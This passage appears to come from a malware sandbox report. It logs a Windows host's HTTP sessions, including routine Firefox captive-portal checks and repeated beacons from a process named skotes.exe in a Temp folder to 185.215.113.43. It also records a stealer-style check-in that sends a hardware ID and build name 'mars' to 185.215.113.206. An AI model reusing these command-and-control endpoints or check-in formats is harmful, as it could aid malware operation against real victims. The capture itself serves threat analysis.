Nov 19, 2024 22:10:24.102142096 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 53130 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 22:10:24.215382099 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 22:10:24.309240103 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 53130 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 22:10:29.293126106 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 22:10:29.387361050 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 53135 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 22:10:29.814487934 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 22:10:29.908149004 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 53135 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 22:10:39.950438976 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	50360	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:10:23.726387978 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 22:10:23.817410946 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 08:23:05 GMT Age: 46038 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 22:10:23.829108000 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 22:10:23.920488119 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 08:23:05 GMT Age: 46038 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 22:10:23.944732904 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 22:10:24.036426067 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 08:23:05 GMT Age: 46038 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 22:10:24.105112076 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 22:10:24.196798086 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 08:23:05 GMT Age: 46039 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 22:10:24.311748028 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 22:10:24.403220892 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 08:23:05 GMT Age: 46039 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 22:10:29.389540911 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 22:10:29.480623960 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 08:23:05 GMT Age: 46044 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 22:10:29.910685062 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 22:10:30.001737118 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 08:23:05 GMT Age: 46044 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 22:10:40.059851885 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.4	50368	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:10:24.831177950 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 19, 2024 22:10:25.040699959 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:10:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.4	50369	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:10:26.867878914 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 22:10:27.074928999 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:10:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	50370	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:10:27.744690895 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 19, 2024 22:10:27.949935913 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:10:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 19, 2024 22:10:27.953361034 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCGIJDBAFCBAAKECGDGC Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 44 42 41 46 43 42 41 41 4b 45 43 47 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 44 42 43 46 38 36 38 36 46 32 37 32 30 32 39 37 34 31 31 31 39 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 44 42 41 46 43 42 41 41 4b 45 43 47 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 44 42 41 46 43 42 41 41 4b 45 43 47 44 47 43 2d 2d 0d 0a Data Ascii: ------FCGIJDBAFCBAAKECGDGCContent-Disposition: form-data; name="hwid"FDBCF8686F272029741119------FCGIJDBAFCBAAKECGDGCContent-Disposition: form-data; name="build"mars------FCGIJDBAFCBAAKECGDGC--
Nov 19, 2024 22:10:28.162249088 CET	210	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:10:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.4	50371	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:10:28.803731918 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 19, 2024 22:10:29.014301062 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:10:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.4	50374	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:10:30.854526997 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 22:10:31.060709953 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:10:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.4	50375	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:10:32.788810968 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 19, 2024 22:10:33.003684998 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:10:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.4	50376	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:10:35.850053072 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 22:10:36.055800915 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:10:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.4	50377	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:10:38.301290035 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 19, 2024 22:10:38.517314911 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:10:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.4	50378	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:10:40.351558924 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 22:10:40.557881117 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:10:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.4	50379	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:10:42.284400940 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 19, 2024 22:10:42.495769978 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:10:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.4	50380	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:10:44.338052034 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 22:10:44.545826912 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:10:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.4	50381	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:10:46.270620108 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 19, 2024 22:10:46.481314898 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:10:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.4	50382	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:10:49.213392019 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 22:10:49.425085068 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:10:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	50394	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:10:49.504098892 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 22:10:49.594871044 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 53155 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 22:10:49.752747059 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
